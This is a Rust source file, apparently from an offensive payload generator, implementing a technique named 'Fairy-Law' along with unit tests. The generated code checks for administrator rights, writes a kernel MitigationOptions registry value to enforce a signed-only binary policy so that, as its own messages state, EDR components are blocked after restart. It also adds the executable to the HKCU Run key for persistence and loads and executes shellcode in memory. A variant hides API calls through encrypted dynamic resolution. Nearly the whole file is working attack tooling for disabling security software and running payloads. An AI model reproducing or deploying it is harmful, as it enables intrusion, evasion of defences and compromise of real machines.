pub fn fairy_law_import() -> String {
     r#"
 use std::ptr;
 "#
     .to_string()
 }
 
 pub fn fairy_law_const() -> String {
     format!(
         r#"
 {}
 
 const TOKEN_QUERY: u32 = 0x0008;
 const TOKEN_ELEVATION: u32 = 20;
 const HKEY_CURRENT_USER: isize = 0x80000001u32 as isize;
 const HKEY_LOCAL_MACHINE: isize = 0x80000002u32 as isize;
 const KEY_SET_VALUE: u32 = 0x0002;
 const KEY_WRITE: u32 = 0x20006;
 const KEY_READ: u32 = 0x20019;
 const REG_SZ: u32 = 1;
 const REG_BINARY: u32 = 3;
 const REG_OPTION_NON_VOLATILE: u32 = 0;
 const ERROR_SUCCESS: i32 = 0;
 const MAX_PATH: usize = 260;
 
 #[repr(C)]
 struct TokenElevation {{
     token_is_elevated: u32,
 }}
 
 #[repr(C)]
 struct ProcessMitigationBinarySignaturePolicy {{
     _bitfield: u32,
 }}
 
 const PROCESS_SIGNATURE_POLICY: u32 = 8;
 
 #[link(name = "kernel32")]
 extern "system" {{
     fn GetCurrentProcess() -> *mut c_void;
     
     fn OpenProcessToken(
         process_handle: *mut c_void,
         desired_access: u32,
         token_handle: *mut *mut c_void,
     ) -> i32;
     
     fn GetTokenInformation(
         token_handle: *mut c_void,
         token_information_class: u32,
         token_information: *mut c_void,
         token_information_length: u32,
         return_length: *mut u32,
     ) -> i32;
     
     fn CloseHandle(handle: *mut c_void) -> i32;
     
     fn GetModuleFileNameA(
         module: *mut c_void,
         filename: *mut u8,
         size: u32,
     ) -> u32;
     
     fn GetProcessMitigationPolicy(
         process: *mut c_void,
         mitigation_policy: u32,
         buffer: *mut c_void,
         size: usize,
     ) -> i32;
 }}
 
 #[link(name = "advapi32")]
 extern "system" {{
     fn RegOpenKeyExA(
         key: isize,
         sub_key: *const i8,
         options: u32,
         desired: u32,
         result: *mut isize,
     ) -> i32;
     
     fn RegSetValueExA(
         key: isize,
         value_name: *const i8,
         reserved: u32,
         value_type: u32,
         data: *const u8,
         data_size: u32,
     ) -> i32;
     
     fn RegCreateKeyExA(
         key: isize,
         sub_key: *const i8,
         reserved: u32,
         class: *const i8,
         options: u32,
         desired: u32,
         security_attributes: *mut c_void,
         result: *mut isize,
         disposition: *mut u32,
     ) -> i32;
     
     fn RegCloseKey(key: isize) -> i32;
 }}
 
 #[link(name = "ntdll")]
 extern "system" {{
     fn RtlCopyMemory(
         destination: *mut c_void,
         source: *const c_void,
         length: usize,
     );
 }}
 "#,
         super::common::COMMON_MEMORY_CONSTANTS
     )
 }
 
 pub fn fairy_law_init() -> String {
     String::new()
 }
 
 fn generate_is_process_elevated() -> String {
     r#"
 fn is_process_elevated() -> bool {
     unsafe {
         let mut token: *mut std::ffi::c_void = ptr::null_mut();
         
         if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) == 0 {
             return false;
         }
         
         let mut elevation = TokenElevation { token_is_elevated: 0 };
         let mut size: u32 = 0;
         
         let result = GetTokenInformation(
             token,
             TOKEN_ELEVATION,
             &mut elevation as *mut _ as *mut std::ffi::c_void,
             std::mem::size_of::<TokenElevation>() as u32,
             &mut size,
         );
         
         CloseHandle(token);
         
         result != 0 && elevation.token_is_elevated != 0
     }
 }
 "#
     .to_string()
 }
 
 fn generate_check_mitigation_policy() -> String {
     r#"
 fn check_mitigation_policy_enabled() -> bool {
     unsafe {
         let mut sig = ProcessMitigationBinarySignaturePolicy { _bitfield: 0 };
         
         let result = GetProcessMitigationPolicy(
             GetCurrentProcess(),
             PROCESS_SIGNATURE_POLICY,
             &mut sig as *mut _ as *mut std::ffi::c_void,
             std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
         );
         
         if result == 0 {
             return false;
         }
         
         (sig._bitfield & 1) != 0
     }
 }
 "#
     .to_string()
 }
 
 fn generate_enable_mitigation_policy() -> String {
     r#"
 fn enable_mitigation_policy() -> bool {
     unsafe {
         let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
         let value_name = b"MitigationOptions\0";
         
         let mitigation_value: [u8; 20] = [
             0x00, 0x01, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00,
         ];
         
         let mut key: isize = 0;
         let mut disposition: u32 = 0;
         
         let result = RegCreateKeyExA(
             HKEY_LOCAL_MACHINE,
             subkey.as_ptr() as *const i8,
             0,
             ptr::null(),
             REG_OPTION_NON_VOLATILE,
             KEY_WRITE | KEY_READ,
             ptr::null_mut(),
             &mut key,
             &mut disposition,
         );
         
         if result != ERROR_SUCCESS {
             return false;
         }
         
         let set_result = RegSetValueExA(
             key,
             value_name.as_ptr() as *const i8,
             0,
             REG_BINARY,
             mitigation_value.as_ptr(),
             mitigation_value.len() as u32,
         );
         
         RegCloseKey(key);
         
         set_result == ERROR_SUCCESS
     }
 }
 "#
     .to_string()
 }
 
 fn generate_add_to_startup() -> String {
     r#"
 fn add_to_startup() -> bool {
     unsafe {
         let mut exe_path = [0u8; MAX_PATH];
         let len = GetModuleFileNameA(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
         
         if len == 0 {
             return false;
         }
         
         let mut filename_start = 0;
         let mut filename_end = len as usize;
         
         for i in (0..len as usize).rev() {
             if exe_path[i] == b'\\' || exe_path[i] == b'/' {
                 filename_start = i + 1;
                 break;
             }
         }
         
         for i in filename_start..len as usize {
             if exe_path[i] == b'.' {
                 filename_end = i;
                 break;
             }
         }
         
         let mut value_name = [0u8; MAX_PATH];
         let name_len = filename_end - filename_start;
         if name_len == 0 || name_len >= MAX_PATH - 1 {
             return false;
         }
         
         for i in 0..name_len {
             value_name[i] = exe_path[filename_start + i];
         }
         value_name[name_len] = 0;
         
         let subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
         
         let mut key: isize = 0;
         
         let result = RegOpenKeyExA(
             HKEY_CURRENT_USER,
             subkey.as_ptr() as *const i8,
             0,
             KEY_SET_VALUE,
             &mut key,
         );
         
         if result != ERROR_SUCCESS {
             return false;
         }
         
         let set_result = RegSetValueExA(
             key,
             value_name.as_ptr() as *const i8,
             0,
             REG_SZ,
             exe_path.as_ptr(),
             len + 1,
         );
         
         RegCloseKey(key);
         
         set_result == ERROR_SUCCESS
     }
 }
 "#
     .to_string()
 }
 
 fn generate_execute_shellcode() -> String {
     r#"
 fn execute_shellcode(shellcode: &[u8]) {
     unsafe {
         let addr = VirtualAlloc(
             ptr::null_mut(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_READWRITE,
         );
         
         if addr.is_null() {
             panic!("failed");
         }
         
         RtlCopyMemory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
         
         let mut old_protect: u32 = PAGE_READWRITE;
         let result = VirtualProtect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
         
         if result == 0 {
             panic!("failed");
         }
         
         let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
         shellcode_fn();
     }
 }
 "#
     .to_string()
 }
 
 pub fn fairy_law_process() -> String {
     format!(
         r#"
     {is_elevated_fn}
 
     {check_mitigation_fn}
 
     {enable_mitigation_fn}
 
     {add_startup_fn}
 
     {execute_shellcode_fn}
 
     if !check_mitigation_policy_enabled() {{
         if !is_process_elevated() {{
             eprintln!("[!] This binary must be run with Administrator privileges!");
             panic!("failed");
         }}
         
         if !enable_mitigation_policy() {{
             eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
             panic!("failed");
         }}
         
         if !add_to_startup() {{
             eprintln!("[!] Failed to add persistence!");
             panic!("failed");
         }}
         
         eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
         eprintln!("[+] EDR components will be blocked after restart.");
         eprintln!("[+] System restart required. Please restart and run again.");
     }} else {{
         execute_shellcode(shellcode);
     }}
 "#,
         is_elevated_fn = generate_is_process_elevated(),
         check_mitigation_fn = generate_check_mitigation_policy(),
         enable_mitigation_fn = generate_enable_mitigation_policy(),
         add_startup_fn = generate_add_to_startup(),
         execute_shellcode_fn = generate_execute_shellcode(),
     )
 }
 
 fn generate_fairy_law_template(function_name: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(fairy_law_import())
         .with_const(fairy_law_const())
         .with_init(fairy_law_init())
         .with_process(fairy_law_process())
         .build(function_name)
 }
 
 pub fn generate_fairy_law_code(function_name: &str) -> String {
     generate_fairy_law_template(function_name)
 }
 
 fn fairy_law_process_with_dynamic_resolver(
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     use super::dynamic_common::*;
 
     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     let virtual_protect = virtual_protect_resolver(encryptor)?;
     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     let get_current_process = get_current_process_resolver(encryptor)?;
     let open_process_token = open_process_token_resolver(encryptor)?;
     let get_token_information = get_token_information_resolver(encryptor)?;
     let close_handle = close_handle_resolver(encryptor)?;
     let get_module_file_name_a = get_module_file_name_a_resolver(encryptor)?;
     let reg_open_key_ex_a = reg_open_key_ex_a_resolver(encryptor)?;
     let reg_set_value_ex_a = reg_set_value_ex_a_resolver(encryptor)?;
     let reg_create_key_ex_a = reg_create_key_ex_a_resolver(encryptor)?;
     let reg_close_key = reg_close_key_resolver(encryptor)?;
     let get_process_mitigation_policy = get_process_mitigation_policy_resolver(encryptor)?;
 
     Ok(format!(
         r#"
     unsafe {{
         {get_current_process_resolver}
         {get_current_process_cast}
 
         {open_process_token_resolver}
         {open_process_token_cast}
 
         {get_token_information_resolver}
         {get_token_information_cast}
 
         {close_handle_resolver}
         {close_handle_cast}
 
         {get_process_mitigation_policy_resolver}
         {get_process_mitigation_policy_cast}
 
         {reg_create_key_ex_a_resolver}
         {reg_create_key_ex_a_cast}
 
         {reg_set_value_ex_a_resolver}
         {reg_set_value_ex_a_cast}
 
         {reg_close_key_resolver}
         {reg_close_key_cast}
 
         {get_module_file_name_a_resolver}
         {get_module_file_name_a_cast}
 
         {reg_open_key_ex_a_resolver}
         {reg_open_key_ex_a_cast}
 
         {virtual_alloc_resolver}
         {virtual_alloc_cast}
 
         {rtl_copy_memory_resolver}
         {rtl_copy_memory_cast}
 
         {virtual_protect_resolver}
         {virtual_protect_cast}
 
         let mut sig = ProcessMitigationBinarySignaturePolicy {{ _bitfield: 0 }};
         let result = get_process_mitigation_policy(
             get_current_process(),
             PROCESS_SIGNATURE_POLICY,
             &mut sig as *mut _ as *mut std::ffi::c_void,
             std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
         );
 
         let policy_enabled = result != 0 && (sig._bitfield & 1) != 0;
 
         if !policy_enabled {{
             let mut token: *mut std::ffi::c_void = ptr::null_mut();
             
             if open_process_token(get_current_process(), TOKEN_QUERY, &mut token) == 0 {{
                 eprintln!("[!] This binary must be run with Administrator privileges!");
                 panic!("failed");
             }}
             
             let mut elevation = TokenElevation {{ token_is_elevated: 0 }};
             let mut size: u32 = 0;
             
             let token_result = get_token_information(
                 token,
                 TOKEN_ELEVATION,
                 &mut elevation as *mut _ as *mut std::ffi::c_void,
                 std::mem::size_of::<TokenElevation>() as u32,
                 &mut size,
             );
             
             close_handle(token);
             
             if token_result == 0 || elevation.token_is_elevated == 0 {{
                 eprintln!("[!] This binary must be run with Administrator privileges!");
                 panic!("failed");
             }}
 
             let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
             let value_name = b"MitigationOptions\0";
             
             let mitigation_value: [u8; 20] = [
                 0x00, 0x01, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00,
             ];
             
             let mut key: isize = 0;
             let mut disposition: u32 = 0;
             
             let create_result = reg_create_key_ex_a(
                 HKEY_LOCAL_MACHINE,
                 subkey.as_ptr() as *const i8,
                 0,
                 ptr::null(),
                 REG_OPTION_NON_VOLATILE,
                 KEY_WRITE | KEY_READ,
                 ptr::null_mut(),
                 &mut key,
                 &mut disposition,
             );
             
             if create_result != ERROR_SUCCESS {{
                 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
                 panic!("failed");
             }}
             
             let set_result = reg_set_value_ex_a(
                 key,
                 value_name.as_ptr() as *const i8,
                 0,
                 REG_BINARY,
                 mitigation_value.as_ptr(),
                 mitigation_value.len() as u32,
             );
             
             reg_close_key(key);
             
             if set_result != ERROR_SUCCESS {{
                 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
                 panic!("failed");
             }}
 
             let mut exe_path = [0u8; MAX_PATH];
             let len = get_module_file_name_a(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
             
             if len > 0 {{
                 let mut filename_start = 0;
                 let mut filename_end = len as usize;
                 
                 for i in (0..len as usize).rev() {{
                     if exe_path[i] == b'\\' || exe_path[i] == b'/' {{
                         filename_start = i + 1;
                         break;
                     }}
                 }}
                 
                 for i in filename_start..len as usize {{
                     if exe_path[i] == b'.' {{
                         filename_end = i;
                         break;
                     }}
                 }}
                 
                 let mut value_name = [0u8; MAX_PATH];
                 let name_len = filename_end - filename_start;
                 if name_len > 0 && name_len < MAX_PATH - 1 {{
                     for i in 0..name_len {{
                         value_name[i] = exe_path[filename_start + i];
                     }}
                     value_name[name_len] = 0;
                     
                     let startup_subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
                     
                     let mut startup_key: isize = 0;
                     
                     let open_result = reg_open_key_ex_a(
                         HKEY_CURRENT_USER,
                         startup_subkey.as_ptr() as *const i8,
                         0,
                         KEY_SET_VALUE,
                         &mut startup_key,
                     );
                     
                     if open_result == ERROR_SUCCESS {{
                         reg_set_value_ex_a(
                             startup_key,
                             value_name.as_ptr() as *const i8,
                             0,
                             REG_SZ,
                             exe_path.as_ptr(),
                             len + 1,
                         );
                         
                         reg_close_key(startup_key);
                     }}
                 }}
             }}
             
             eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
             eprintln!("[+] EDR components will be blocked after restart.");
             eprintln!("[+] System restart required. Please restart and run again.");
         }} else {{
             let addr = virtual_alloc(
                 ptr::null_mut(),
                 shellcode.len(),
                 MEM_COMMIT | MEM_RESERVE,
                 PAGE_READWRITE,
             );
 
             if addr.is_null() {{
                 panic!("failed");
             }}
 
             rtl_copy_memory(
                 addr,
                 shellcode.as_ptr() as *const std::ffi::c_void,
                 shellcode.len(),
             );
 
             let mut old_protect: u32 = PAGE_READWRITE;
             let protect_result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
 
             if protect_result == 0 {{
                 panic!("failed");
             }}
 
             let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
             shellcode_fn();
         }}
     }}
 "#,
         get_current_process_resolver = get_current_process.resolver_code,
         get_current_process_cast = get_current_process.cast_code,
         open_process_token_resolver = open_process_token.resolver_code,
         open_process_token_cast = open_process_token.cast_code,
         get_token_information_resolver = get_token_information.resolver_code,
         get_token_information_cast = get_token_information.cast_code,
         close_handle_resolver = close_handle.resolver_code,
         close_handle_cast = close_handle.cast_code,
         get_module_file_name_a_resolver = get_module_file_name_a.resolver_code,
         get_module_file_name_a_cast = get_module_file_name_a.cast_code,
         reg_open_key_ex_a_resolver = reg_open_key_ex_a.resolver_code,
         reg_open_key_ex_a_cast = reg_open_key_ex_a.cast_code,
         reg_set_value_ex_a_resolver = reg_set_value_ex_a.resolver_code,
         reg_set_value_ex_a_cast = reg_set_value_ex_a.cast_code,
         reg_create_key_ex_a_resolver = reg_create_key_ex_a.resolver_code,
         reg_create_key_ex_a_cast = reg_create_key_ex_a.cast_code,
         reg_close_key_resolver = reg_close_key.resolver_code,
         reg_close_key_cast = reg_close_key.cast_code,
         get_process_mitigation_policy_resolver = get_process_mitigation_policy.resolver_code,
         get_process_mitigation_policy_cast = get_process_mitigation_policy.cast_code,
         virtual_alloc_resolver = virtual_alloc.resolver_code,
         virtual_alloc_cast = virtual_alloc.cast_code,
         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
         virtual_protect_resolver = virtual_protect.resolver_code,
         virtual_protect_cast = virtual_protect.cast_code,
     ))
 }
 
 fn generate_fairy_law_template_with_dynamic_resolver(
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     let process_code = fairy_law_process_with_dynamic_resolver(encryptor)?;
 
     Ok(super::common::TechniqueTemplateBuilder::new()
         .with_import(fairy_law_import())
         .with_const(fairy_law_const())
         .with_init(fairy_law_init())
         .with_process(process_code)
         .build(function_name))
 }
 
 pub fn generate_fairy_law_code_with_dynamic_resolver(
     function_name: &str,
     encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     generate_fairy_law_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
         .unwrap_or_else(|err| {
             panic!(
                 "Failed to generate Fairy-Law code with dynamic resolver (encryption: {}): {}",
                 encryption_type, err
             )
         })
 }
 
 pub struct FairyLawGenerator;
 
 impl super::trait_generator::TechniqueGenerator for FairyLawGenerator {
     fn generate_code(&self, _process: &str, function_name: &str) -> String {
         generate_fairy_law_code(function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         _process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_fairy_law_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
     }
 
     fn requires_process(&self) -> bool {
         false
     }
 
     fn name(&self) -> &'static str {
         "Fairy-Law"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_fairy_law_template_contains_all_parts() {
         let template = generate_fairy_law_template("MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("is_process_elevated"));
         assert!(template.contains("OpenProcessToken"));
         assert!(template.contains("RegSetValueExA"));
         assert!(template.contains("eprintln!"));
     }
 
     #[test]
     fn test_generate_fairy_law_code() {
         let code = generate_fairy_law_code("MyRandomFunc");
         assert!(code.contains("fn MyRandomFunc"));
         assert!(code.contains("check_mitigation_policy_enabled"));
         assert!(code.contains("enable_mitigation_policy"));
     }
 
     #[test]
     fn test_fairy_law_does_not_use_process_param() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(!code.contains("{{PROCESS}}"));
     }
 
     #[test]
     fn test_elevation_check_function() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("fn is_process_elevated() -> bool"));
         assert!(code.contains("TOKEN_QUERY"));
         assert!(code.contains("GetTokenInformation"));
     }
 
     #[test]
     fn test_mitigation_policy_check() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("fn check_mitigation_policy_enabled() -> bool"));
         assert!(code.contains("GetProcessMitigationPolicy"));
         assert!(code.contains("PROCESS_SIGNATURE_POLICY"));
     }
 
     #[test]
     fn test_registry_modification() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("fn enable_mitigation_policy() -> bool"));
         assert!(code.contains("RegCreateKeyExA"));
         assert!(code.contains("MitigationOptions"));
     }
 
     #[test]
     fn test_startup_persistence() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("fn add_to_startup() -> bool"));
         assert!(code.contains("RegOpenKeyExA"));
         assert!(code.contains("CurrentVersion"));
     }
 
     #[test]
     fn test_warning_messages() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("eprintln!"));
         assert!(code.contains("Administrator privileges"));
         assert!(code.contains("System restart required"));
     }
 
     #[test]
     fn test_no_print_warning_function() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(!code.contains("fn print_warning"));
     }
 
     #[test]
     fn test_shellcode_execution() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(code.contains("fn execute_shellcode"));
         assert!(code.contains("VirtualAlloc"));
         assert!(code.contains("VirtualProtect"));
     }
 
     #[test]
     fn test_no_automatic_uac() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(!code.contains("ShellExecuteExA"));
         assert!(!code.contains("runas"));
     }
 
     #[test]
     fn test_no_automatic_restart() {
         let code = generate_fairy_law_code("TestFunc");
         assert!(!code.contains("Restart-Computer"));
         assert!(!code.contains("powershell.exe"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit